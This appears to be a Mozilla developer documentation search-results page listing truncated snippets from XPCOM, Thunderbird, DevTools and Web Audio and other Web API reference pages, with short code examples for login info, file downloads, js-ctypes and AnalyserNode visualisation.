open() nsidomdocument open( in acstring acontenttype, in boolean areplace ); parameters acontenttype the content type of the new document.
... return value the new document.
...a newline is automatically appended.
nsIDOMUserDataHandler
node_imported 2 the node was cloned into a new document.
... node_deleted 3 unimplemented node_renamed 4 unimplemented node_adopted 5 the node was adopted into a new document.
...dst the new node, for clone and import operations.
nsIDOMWindowUtils
for inter-element mouseover and mouseout events, a movemove event fired on the new element should be sufficient to generate the correct over and out events as well.
...new api doesn't have this limitation.
... setting a new resolution does *not* trigger reflow.
nsIFocusManager
if the current focus within the new focusedwindow is a frame element, then the focusedwindow will actually be set to the child window and the current element within that set as the focused element.
...this method is equivalent to setting the focusedelement to the new element.
...void windowraised( in nsidomwindow awindow ); parameters awindow native code only!windowshown called when a new document in a window is shown.
nsIGeolocationUpdate
xpcom/system/nsigeolocationprovider.idlscriptable provides a way for a geolocation provider to notify the system that a new location is available.
... 1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) interface provides a way for a geolocation provider to notify the system that a new location is available.
... method overview void update(in nsidomgeoposition position); methods update() notify the geolocation service that a new geolocation has been discovered.
nsIHTTPHeaderListener
method overview void newresponseheader(in string headername, in string headervalue); void statusline(in string line); methods newresponseheader() called for each http response header.
...void newresponseheader( in string headername, in string headervalue ); parameters headername headervalue statusline() called once for the http response status line.
... value does not include a terminating newline.
Using nsILoginManager
defining an nsilogininfo object is simple: var nslogininfo = new components.constructor( "@mozilla.org/login-manager/logininfo;1", components.interfaces.nsilogininfo, "init" ); var logininfo = new nslogininfo( hostname, formsubmiturl, httprealm, username, password, usernamefield, passwordfield ); examples creating a login for a web page var formlogininfo = new nslogininfo( 'http://www.example.com', 'http://login.example.com', null, 'joe', 'secr...
...et123', 'uname', 'pword' ); this login would correspond to a html form such as: <form action="http://login.example.com/foo/authenticate.cgi"> <div>please log in.</div> <label>username:</label> <input type="text" name="uname"> <label>password:</label> <input type="password" name="pword"> </form> creating a site authentication login var authlogininfo = new nslogininfo( 'http://www.example.com', null, 'exampleco login', 'alice', 'secret321', "", "" ); this would correspond to a login on http://www.example.com when the server sends a reply such as: http/1.0 401 authorization required server: apache/1.3.27 www-authenticate: basic realm="exampleco login" creating a local extension login var extlogininfo = new nslogininfo( 'chrome://firefoo', null, 'user registration', ...
... 'bob', '123secret', "", "" ); from a component creating a new info block is done slightly differently: var nslogininfo = new constructor("@org/manager/ci.init"); var extlogininfo = new aformsubmiturl, ausername, ausernamefield, ...
nsIMacDockSupport
the menu items are "new window" and "new private window".
... if permanent private browsing mode is enabled then the "new private window" menu item is hidden.
... notice how the "new window" and "new private window" menuitem's are missing.
nsIMsgHeaderParser
nsimsgheaderparser defined in comm-central/ mailnews/ mime/ public/ nsimsgheaderparser.idl mailnews/mime/public/nsimsgheaderparser.idlscriptable ???
...esses, [array, size_is(count)] out wstring anames, [array, size_is(count)] out wstring afullnames, [retval] out unsigned long count); void reformatheaderaddresses(in string line, out string reformattedaddress); wstring reformatunquotedaddresses(in wstring line); void removeduplicateaddresses(in string addrs, in string other_addrs, in prbool removealiasestome, out string newaddress); string unquotephraseoraddr(in string line, in boolean preserveintegrity); wstring unquotephraseoraddrwstring(in wstring line, in boolean preserveintegrity); methods extractheaderaddressmailboxes() given a string which contains a list of header addresses, returns a comma-separated list of just the 'mailbox' portions.
... aemailaddresses missing description anames missing description afullnames missing description count missing description exceptions thrown missing exception missing description native code only!reformatheaderaddresses given a string which contains a list of header addresses, returns a new string with the same data, but inserts missing commas, parses and reformats it, and wraps long lines with newline-tab.
nsINavHistoryObserver
avalue the attribute's new value.
... apagetitle the new title of the page.
...if no such query exists, the history result creates a new query node dynamically.
nsIProcessScriptLoader
if aallowdelayedload is true, then the script will also be loaded into any new child processes created after the loadprocessscript() call.
... if this flag is true, the process script will be loaded into any new child processes created after the loadprocessscript() call, until removedelayedprocessscript() is called for that script.
... this cancels the effect of the aallowdelayedload flag, meaning that the loader will no longer load the script into new child processes.
nsISelection
the new selection end result will always be from the anchornode to the new focusnode, regardless of direction.
... offset where in the node to place the offset in the new selection end.
...void selectionlanguagechange( in boolean langrtl ); parameters langrtl is pr_true if the new language is right-to-left or pr_false if the new language is left-to-right.
nsISelectionPrivate
method overview void addselectionlistener(in nsiselectionlistener newlistener); void endbatchchanges(); void getcachedframeoffset(in nsiframe aframe, in print32 inoffset, in nspointref apoint); native code only!
... endofprecedingline 0 startofnextline 1 tableselection_none 0 tableselection_cell 1 tableselection_row 2 tableselection_column 3 tableselection_table 4 tableselection_allcells 5 methods addselectionlistener() void addselectionlistener( in nsiselectionlistener newlistener ); parameters newlistener endbatchchanges() will resume user interface updates after a previous call to startbatchchanges().
... native code only!setancestorlimiter void setancestorlimiter( in nsicontent acontent ); parameters acontent native code only!setpresshell internal utility method to set the pres shell on a newly created selection.
nsIThreadPoolListener
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void onthreadcreated(); void onthreadshuttingdown(); methods onthreadcreated() called when a new thread is created by the thread pool.
... the notification happens on the newly created thread.
...onthreadshuttingdown() called when a new thread is about to be destroyed by the thread pool.
nsITransferable
kfilemime application/x-moz-file an arbitrary file (is this an nsifile?) kurlmime text/x-moz-url a mozilla url object; this is a text string containing the url, a newline (\n), then the title of the page.
... methods adddataflavor() adds a new data flavor, indicating that this transferable can receive the type of data represented by the specified flavor string.
... void adddataflavor( in string adataflavor ); parameters adataflavor a string defining a new data flavor that the transferable supports.
nsITreeView
to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false when the orientation is not drop_on.
...to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false from candropbeforeafter().
...to get the behavior where drops are only allowed on items, such as the mailnews folder pane, always return false from candropbeforeafter().
nsIWebBrowserPersist
as of firefox 36, a new parameter areferrerpolicy was added as the fourth argument, changing the number of parameters from 7 to 8 and shifting the order of the parameters in a backwards incompatible way.
... example function downloadfile(httploc, sourcewindow) { try { //new obj_uri object var obj_uri = components.classes["@mozilla.org/network/io-service;1"].getservice(components.interfaces.nsiioservice).newuri(httploc, null, null); //new file object var obj_targetfile = components.classes["@mozilla.org/file/local;1"].createinstance(components.interfaces.nsilocalfile); //set file with path obj_targetfile.initwithpath("c:\\temp\\test.pdf"); /...
.../if file doesn't exist, create if(!obj_targetfile.exists()) { obj_targetfile.create(0x00,0644); } //new persistence object var obj_persist = components.classes["@mozilla.org/embedding/browser/nswebbrowserpersist;1"].createinstance(components.interfaces.nsiwebbrowserpersist); // with persist flags if desired const nsiwbp = components.interfaces.nsiwebbrowserpersist; const flags = nsiwbp.persist_flags_replace_existing_files; obj_persist.persistflags = flags | nsiwbp.persist_flags_from_cache; var privacycontext = sourcewindow.queryinterface(components.interfaces.nsiinterfacerequestor) .getinterface(components.interfaces.nsiwebnavigation) .queryinterface(components.interfaces.nsi...
nsIWindowsRegKey
create() this method opens an existing key or creates a new key.
...nsiwindowsregkey createchild( in astring relpath, in unsigned long mode ); parameters relpath mode return value nsiwindowsregkey for the newly opened or created subkey.
...nsiwindowsregkey openchild( in astring relpath, in unsigned long mode ); parameters relpath mode return value nsiwindowsregkey for the newly opened subkey.
XPCOM reference
there are currently three folder classes - nslocalmailfolder, nsimapmailfolder, and nsnewsfolder.
...in a big change from the original nsiabcard, properties are now stored in a hash table instead of as attributes on the interface, allowing it to be more flexible.nsicookie2 mozilla 1 8 branchnsimsgsearchvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsimsgsearchvalue.idl nsmsgmessageflagsthe nsmsgmessageflags interface describes possible flags for messages.
...for example to move forward a message, you would call:nsmsgsearchopvaluedefined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl nsmsgviewcommandcheckstatethe nsmsgviewcommandcheckstate interface contains constants used for command status in thunderbird.
Frequently Asked Questions
whenever an nscomptr takes on a new value, it always releases its old value, if any.
...if the getter returns the new pointer as its function result, no worries, general does nscomptr bloat the code?
... more effective c++ : 35 new ways to improve your programs and designs by scott meyers.
Weak reference
what is actually needed in this case, is either out-of-band signaling, where when the observer wants to go away, it unregisters itself from the observable, which then releases its owning reference, allowing the observer to die, or else a new kind of reference.
...the new and interesting things are highlighted.
...additionally, nscomptr now supports the new key do_queryreferent to simplify life even further.
Xray vision
for example, if content code creates a new date object, it will usually be created as a property of a dom object, and then it will be filtered out by the dom xray: // content code // redefine date.getfullyear() date.prototype.getfullyear = function() {return 1000}; var date = new date(); // chrome code // contentwindow is an xray, and date is an expando on contentwindow // so date is filtered out gbrowser.contentwindow.date.getfullyea...
... like dom objects, most javascript built-in objects have an underlying c++ state that is separate from their javascript representation, so the xray implementation can go straight to the c++ state and guarantee that the object will behave as its specification defines: // chrome code var sandboxscript = 'date.prototype.getfullyear = function() {return 1000};' + 'var date = new date(); '; var sandbox = components.utils.sandbox("https://example.org/"); components.utils.evalinsandbox(sandboxscript, sandbox); // date objects are xrayed console.log(sandbox.date.getfullyear()); // -> 2014 // but you can waive xray vision console.log(components.utils.waivexrays(sandbox.date).getfullyear()); // -> 1000 to test out examples like this, you can use the scratchpad in browser ...
...+ ' this.constructor = "not a constructor";' + ' this.firstname = "joe";' + ' this.address = {"street" : "main street"};' + ' this.fullname = function() {' + ' return this.firstname + " " + this.lastname;'+ ' };' + '};' + 'var me = new person();' + 'object.defineproperty(me, "lastname", {' + ' enumerable: true,' + ' configurable: true,' + ' writable: true,' + ' value: "smith"' + '});' + 'object.defineproperty(me, "middlename", {' + ' enumerable: true,' + ...
Mozilla technologies
it also includes new features including favicon storage and the ability to annotate pages with arbitrary information.
... it also introduces new user interfaces for managing all this information; see places on the mozilla wiki.preferences apithe publicity stream apithe publicity stream is a mozilla-hosted activity stream generated by a user's application usage.
...description language used to specify xpcom interface classes.xray visiongecko runs javascript from a variety of different sources and at a variety of different privilege levels.xslt 2.0although xslt 2.0 is not natively supported in firefox, it is possible via saxon-b (java) or, more recently, saxon-ce (javascript) to perform xslt 2.0.xtfthe extensible tag framework (xtf) allows adding support for new namespaces using xpcom components to mozilla (written in javascript or c++).
Main Windows
see developer.thunderbird.net for newer information.
... mailoverlay.xul a really small overlay that only adds a few “new message” and “new card” commands to the menus, along with their associated javascript.
...for instance, the “add new toolbar” buttons from toolkit aren’t in the thunderbird version.
Filter Incoming Mail
filter incoming mail to filter incoming mail, the first step is to detect new messages inconming.
...by example, to modify the mail subject : var newmaillistener = { msgadded: function(amsghdr) { if( !amsghdr.isread ) { // here we are, a new mail has popped // let get a javascript string object from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getservice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript.
...ing // and assign it to the message headers and we're done amsghdr.subject = mimeconvert.encodemimepartiistr_utf8(subject, false, "utf-8", 0, 72); } } }; function init() { var notificationservice = components.classes["@mozilla.org/messenger/msgnotificationservice;1"] .getservice(components.interfaces.nsimsgfoldernotificationservice); notificationservice.addlistener(newmaillistener, notificationservice.msgadded); } addeventlistener("load", init, true); have a look to nsimsgdbhdr to get the full list of properties to be modified.
Thunderbird
these pages document thunderbird and the mailnews backend which is also used in other projects such as seamonkey and postbox.
...currently one of the most popular open source email clients, it is used by tens of millions of people around the world to bring together all their email accounts, chat, newsgroup and feed reading in a familiar high-productivity environment.
... mailnews protocols rough documentation about mail protocols..
Working with ArrayBuffers
pixelbuffer.tostring(); // "ctypes.uint8_t.ptr(ctypes.uint64("0x352e0000"))" var imgwidth = 400; var imgheight = 400; var myimgdat = new imagedata(imgwidth, imgheight); method 1: passing arraytype cdata to uint8clampedarray.prototype.set one method is to get into a js-ctypes array, and then set it into the imagedata, as illustrated by the following code example.
...os': case 'netbsd': case 'dragonfly': lib = ctypes.open('libc.so'); break; case 'linux': lib = ctypes.open('libc.so.6'); break; case 'gnu/kfreebsd': lib = ctypes.open('libc.so.0.1'); break; default: //assume unix try { lib = ctypes.open(ctypes.libraryname('c')); } catch (ex) { throw new error('i dont know where to memcpy is defined on your operating system, "' + os.constants.sys.name + '"'); lib.close(); } } try { var memcpy = lib.declare('memcpy', os.constants.sys.name.tolowercase().indexof('win') == 0 ?
... ctypes.winapi_abi : ctypes.default_abi, ctypes.void_t, // return ctypes.void_t.ptr, // *dest ctypes.void_t.ptr, // *src ctypes.size_t // count ); } catch (ex) { throw new error('i dont know where to memcpy is defined on your operating system, "' + os.constants.sys.name + '"'); lib.close() } memcpy(myimgdat.data, pixelbuffer, myimgdat.data.length); // myimgdat.data.length is imgwidth * imgheight *4 because per pixel there is r, g, b, a numbers lib.close(); see also type conversion ...
Using js-ctypes
using the library you may need to declare new types.
... about declaring the function how we knew how to declare the function was by going to msdn site and looking at the messagebox (messageboxw is just a unicode version of same function) function.
... cu.import('resource://gre/modules/ctypes.jsm'); var libcf = ctypes.open('/system/library/frameworks/corefoundation.framework/corefoundation'); // define types var cfindex = ctypes.long; var cfoptionflags = ctypes.unsigned_long; var cftimeinterval = ctypes.double; var cftyperef = ctypes.voidptr_t; var sint32 = ctypes.long; var void = ctypes.void_t; var __cfstring = new ctypes.structtype("__cfstring"); var cfstringref = __cfstring.ptr; var __cfurl = new ctypes.structtype("__cfurl"); var cfurlref = __cfurl.ptr; var __cfallocator = new ctypes.structtype("__cfallocator"); var cfallocatorref = __cfallocator.ptr; var unichar = ctypes.jschar; // uint16 with automatic conversion // define constants var kcfusernotificationstopalertlevel = 0; var kcfusernotificatio...
CData
return value a string that, ideally, should be able to be evaluated to produce a new cdata object containing a copy of the original object.
... return value a new string object that is a copy of the original string contents.
... return value a new string object that is a copy of the original string contents.
Drawing and Event Handling - Plugins
this value prevents the instance from drawing further until it is pasted back on the page and npp_setwindow is called again with a new value.
...the plug-in makes this call from its npp_new method.
... nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char *argn[], char *argv[], npsaveddata *saved) { ...
Memory - Plugins
since npn_memalloc automatically frees cached information if necessary to fulfill a request for memory, calls to npn_memalloc may succeed where direct calls to newptr fail.
... for example, suppose that the plug-in calls newgworld, and that the call fails because of insufficient memory.
...if npn_memflush returns a value indicating that enough memory was freed, the plug-in can call newgworld again.
Gecko Plugin API Reference - Plugins
npp_destroy npp_destroystream npp_getvalue np_getvalue npp_handleevent np_initialize npp_new npp_newstream npp_print npp_setvalue npp_setwindow np_shutdown npp_streamasfile npp_urlnotify npp_write npp_writeready browser side plug-in api this chapter describes methods in the plug-in api that are available from the browser.
... npn_geturlnotify requests creation of a new stream with the contents of the specified url; gets notification of the result.
... npn_newstream requests the creation of a new data stream produced by the plug-in and consumed by the browser.
Debugging service workers - Firefox Developer Tools
this is very useful because, once registered, the service worker will not necessarily update to the new version immediately, which can make debugging a pain.
... from updating your service worker: if your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated.
...as soon as there are no more such pages still loaded, the new service worker activates.
All keyboard shortcuts - Firefox Developer Tools
for tools like the browser console that open in a new window, you have to close the window to close the tool.
...gh matching commands f9 ctrl + r f9 step forward through matching command history (after initiating reverse search) shift + f9 ctrl + s shift + f9 move to the beginning of the line home ctrl + a ctrl + a move to the end of the line end ctrl + e ctrl + e execute the current expression enter return enter add a new line, for entering multiline expressions shift + enter shift + return shift + enter autocomplete popup these shortcuts apply while the autocomplete popup is open: command windows macos linux choose the current autocomplete suggestion tab tab tab cancel the autocomplete popup esc esc esc move to the previous autocompl...
...e, insert the result as a comment ctrl + l cmd + l ctrl + l re-evaluate current function ctrl + e cmd + e ctrl + e reload the current page, then run scratchpad code ctrl + shift + r cmd + shift + r ctrl + shift + r save the pad ctrl + s cmd + s ctrl + s open an existing pad ctrl + o cmd + o ctrl + o create a new pad ctrl + n cmd + n ctrl + n close scratchpad ctrl + w cmd + w ctrl + w pretty print the code in scratchpad ctrl + p cmd + p ctrl + p show autocomplete suggestions ctrl + space ctrl + space ctrl + space show inline documentation ctrl + shift + space ctrl + shift + space ctrl + shift + space eyedropper ...
Network request details - Firefox Developer Tools
network request details clicking on a row displays a new pane in the right-hand side of the network monitor, which provides more detailed information about the request.
... queued, started, downloaded new in firefox 72, we now show the following timings at the top of the timings tab, making dependency analysis a lot easier: queued: when the resource was queued for download.
... server timing new in firefox 71, the server timing section lists any information provided in the server-timing header — this is used to surface any backend server timing metrics you've recorded (e.g.
Intensive JavaScript - Firefox Developer Tools
the main thread code would look something like this: const iterations = 50; const multiplier = 1000000000; var worker = new worker("js/calculate.js"); function dopointlesscomputationsinworker() { function handleworkercompletion(message) { if (message.data.command == "done") { pointlesscomputationsbutton.disabled = false; console.log(message.data.primes); worker.removeeventlistener("message", handleworkercompletion); } } worker.addeventlistener("message", handleworkercompletion, false...
... then we need a new file "calculate.js", that looks like this: self.addeventlistener("message", go); function go(message) { var iterations = message.data.iterations; var multiplier = message.data.multiplier; primes = calculateprimes(iterations, multiplier); self.postmessage({ "command":"done", "primes": primes }); } function calculateprimes(iterations, multiplier) { var primes = []; for (var i = 0; i < iterations; i++) { var candidate = i * (multi...
...switch the radio button to "use a worker", and capture a new profile.
Console messages - Firefox Developer Tools
by default, the console is cleared each time you navigate to a new page or reload the current page.
... open url in new tab opens the url in a new browser tab.
... if the resource is an image, the image will be opened in a new tab.
AbortController.AbortController() - Web APIs
the abortcontroller() constructor creates a new abortcontroller object instance.
... syntax var controller = new abortcontroller(); parameters none.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbortController - Web APIs
you can create a new abortcontroller object using the abortcontroller.abortcontroller() constructor.
... constructor abortcontroller() creates a new abortcontroller object instance.
... var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ...
AbsoluteOrientationSensor - Web APIs
constructor absoluteorientationsensor.absoluteorientationsensor() creates a new absoluteorientationsensor object.
... const options = { frequency: 60, referenceframe: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.addeventlistener('reading', () => { // model is a three.js object instantiated elsewhere.
... const sensor = new absoluteorientationsensor(); promise.all([navigator.permissions.query({ name: "accelerometer" }), navigator.permissions.query({ name: "magnetometer" }), navigator.permissions.query({ name: "gyroscope" })]) .then(results => { if (results.every(result => result.state === "granted")) { sensor.start(); ...
AddressErrors - Web APIs
try to avoid asking the user to make corrections to things they can't change, and there may be situations in which you need to allow validation errors to be accepted anyway (for example, if you validate addresses against a postal service database and a new home has been built and its address is not yet in the database).
... let request; function process() { let options = {requestshipping: true}; try { request = new paymentrequest(supportedhandlers, defaultpaymentdetails, options); // add event listeners here.
... } } this code creates a new paymentrequest, providing the supported handlers and payment options we set up above, as well as additional options (in this case, that we want to ask for shipping information).
AnalyserNode.AnalyserNode() - Web APIs
the analysernode constructor of the web audio api creates a new analysernode object instance.
... syntax var analysernode = new analysernode(context, ?options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new analysernode object instance.
AnalyserNode.fftSize - Web APIs
syntax var curvalue = analysernode.fftsize; analysernode.fftsize = newvalue; value an unsigned integer, representing the window size of the fft, given in number of samples.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ...
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount ; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; var y = v * height/2; if(i === 0) { canvasctx.moveto(x, y); } else { ...
AnalyserNode.getByteFrequencyData() - Web APIs
syntax var audioctx = new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray = new uint8array(analyser.frequencybincount); // uint8array should be the same length as the frequencybincount void analyser.getbytefrequencydata(dataarray); // fill the uint8array with data returned from getbytefrequencydata() parameters array the uint8array that the frequency domain data will be copied to.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ...
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); parameters array the uint8array that the frequency domain data will be copied to.
AnalyserNode.getByteTimeDomainData() - Web APIs
syntax const audioctx = new audiocontext(); const analyser = audioctx.createanalyser(); const dataarray = new uint8array(analyser.fftsize); // uint8array should be the same length as the fftsize analyser.getbytetimedomaindata(dataarray); // fill the uint8array with data returned from getbytetimedomaindata() parameters array the uint8array that the time domain data will be copied to.
... const audioctx = new (window.audiocontext || window.webkitaudiocontext)(); const analyser = audioctx.createanalyser(); ...
... analyser.fftsize = 2048; const bufferlength = analyser.fftsize; const dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // draw an oscilloscope of the current audio source function draw() { drawvisual = requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; const slicewidth = width * 1.0 / bufferlength; let x = 0; canvasctx.beginpath(); for(var i = 0; i < bufferlength; i++) { const v = dataarray[i]/128.0; const y = v * height/2; if(i === 0) canvasctx.moveto(x, y); else canvasctx.lineto(x, y); x += slicewidth; } canvasctx.lineto(w...
AnalyserNode.getFloatTimeDomainData() - Web APIs
syntax var audioctx = new audiocontext(); var analyser = audioctx.createanalyser(); var dataarray = new float32array(analyser.fftsize); // float32array needs to be the same length as the fftsize analyser.getfloattimedomaindata(dataarray); // fill the float32array with data returned from getfloattimedomaindata() parameters array the float32array that the time domain data will be copied to.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); ...
... analyser.fftsize = 1024; var bufferlength = analyser.fftsize; console.log(bufferlength); var dataarray = new float32array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getfloattimedomaindata(dataarray); canvasctx.fillstyle = 'rgb(200, 200, 200)'; canvasctx.fillrect(0, 0, width, height); canvasctx.linewidth = 2; canvasctx.strokestyle = 'rgb(0, 0, 0)'; canvasctx.beginpath(); var slicewidth = width * 1.0 / bufferlength; var x = 0; for(var i = 0; i < bufferlength; i++) { var v = dataarray[i] * 200.0; var y = height/2 + v; if(i === 0) { canvasctx.moveto(x, y); } else { canvasctx.lineto(x, y); } x += slicewidth; } canvasctx.lineto(canvas.width, canvas.
AnalyserNode.maxDecibels - Web APIs
syntax var curvalue = analysernode.maxdecibels; analysernode.maxdecibels = newvalue; value a double, representing the maximum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; ...
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition o...
AnalyserNode.minDecibels - Web APIs
syntax var curvalue = analysernode.mindecibels; analysernode.mindecibels = newvalue; value a double, representing the minimum decibel value for scaling the fft analysis data, where 0 db is the loudest possible sound, -10 db is a 10th of that, etc.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; ...
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition o...
AnalyserNode.smoothingTimeConstant - Web APIs
syntax var smoothvalue = analysernode.smoothingtimeconstant; analysernode.smoothingtimeconstant = newvalue; value a double within the range 0 to 1 (0 meaning no time averaging).
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); analyser.mindecibels = -90; analyser.maxdecibels = -10; analyser.smoothingtimeconstant = 0.85; ...
... analyser.fftsize = 256; var bufferlength = analyser.frequencybincount; console.log(bufferlength); var dataarray = new uint8array(bufferlength); canvasctx.clearrect(0, 0, width, height); function draw() { drawvisual = requestanimationframe(draw); analyser.getbytefrequencydata(dataarray); canvasctx.fillstyle = 'rgb(0, 0, 0)'; canvasctx.fillrect(0, 0, width, height); var barwidth = (width / bufferlength) * 2.5; var barheight; var x = 0; for(var i = 0; i < bufferlength; i++) { barheight = dataarray[i]; canvasctx.fillstyle = 'rgb(' + (barheight+100) + ',50,50)'; canvasctx.fillrect(x,height-barheight/2,barwidth,barheight/2); x += barwidth + 1; } }; draw(); specifications specification status comment web audio apithe definition o...
AnalyserNode - Web APIs
t="_top"><rect x="281" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="341" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">analysernode</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor analysernode() creates a new instance of an analysernode object.
... var audioctx = new(window.audiocontext || window.webkitaudiocontext)(); var analyser = audioctx.createanalyser(); // ...
... analyser.fftsize = 2048; var bufferlength = analyser.frequencybincount; var dataarray = new uint8array(bufferlength); analyser.getbytetimedomaindata(dataarray); // get a canvas defined with id "oscilloscope" var canvas = document.getelementbyid("oscilloscope"); var canvasctx = canvas.getcontext("2d"); // draw an oscilloscope of the current audio source function draw() { requestanimationframe(draw); analyser.getbytetimedomaindata(dataarray); canvasctx.fillstyle = "rgb(200, 200, 200)"; canvasctx.fillrect(0, 0, canvas.width, canvas.height); canvasctx.linewidth = 2; canvasctx.strokestyle = "rgb(0, 0, 0)"; canvasctx.beginpath(); var slicewidth = canvas.width * 1.0 / bufferlength; var x = 0; for (var i = 0; i < bufferlength; i++) { var v = dataarray[i] / 128.0; ...
Animation() - Web APIs
the animation() constructor of the web animations api returns a new animation object instance.
... syntax var animation = new animation([effect][, timeline]); parameters effect optional the target effect, as an object based on the animationeffectreadonly interface, to assign to the animation.
... examples in the follow the white rabbit example, the animation() constructor is used to create an animation for the rabbitdownkeyframes using the document's timeline: var rabbitdownanimation = new animation(rabbitdownkeyframes, document.timeline); specifications specification status comment web animationsthe definition of 'animation()' in that specification.
AnimationEvent() - Web APIs
the animationevent() constructor returns a newly created animationevent, representing an event in relation with an animation.
... syntax animationevent = new animationevent(type, {animationname: apropertyname, elapsedtime : afloat, pseudoelement: apseudoelementname}); parameters the animationevent() constructor also inherits arguments from event().
... return value a new animationevent, initialized per any provided options.
AudioBuffer() - Web APIs
the audiobuffer constructor of the web audio api creates a new audiobuffer object.
... syntax var audiobuffer = new audiobuffer(options); parameters inherits parameters from the audionodeoptions dictionary.
... return value a new audiobuffer object instance.
AudioBufferSourceNode - Web APIs
an audiobuffersourcenode can only be played once; after each call to start(), you have to create a new node if you want to play the same sound again.
... number of inputs 0 number of outputs 1 channel count defined by the associated audiobuffer constructor audiobuffersourcenode() creates and returns a new audiobuffersourcenode object.
... var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create an empty three-second stereo buffer at the sample rate of the audiocontext var myarraybuffer = audioctx.createbuffer(2, audioctx.samplerate * 3, audioctx.samplerate); // fill the buffer with white noise; //just random values between -1.0 and 1.0 for (var channel = 0; channel < myarraybuffer.numberofchannels; channel++) { // this ...
AudioContext.createMediaStreamTrackSource() - Web APIs
syntax var audioctx = new audiocontext(); var track = audioctx.createmediastreamtracksource(track); parameters track the mediastreamtrack to use as the source of all audio data for the new node.
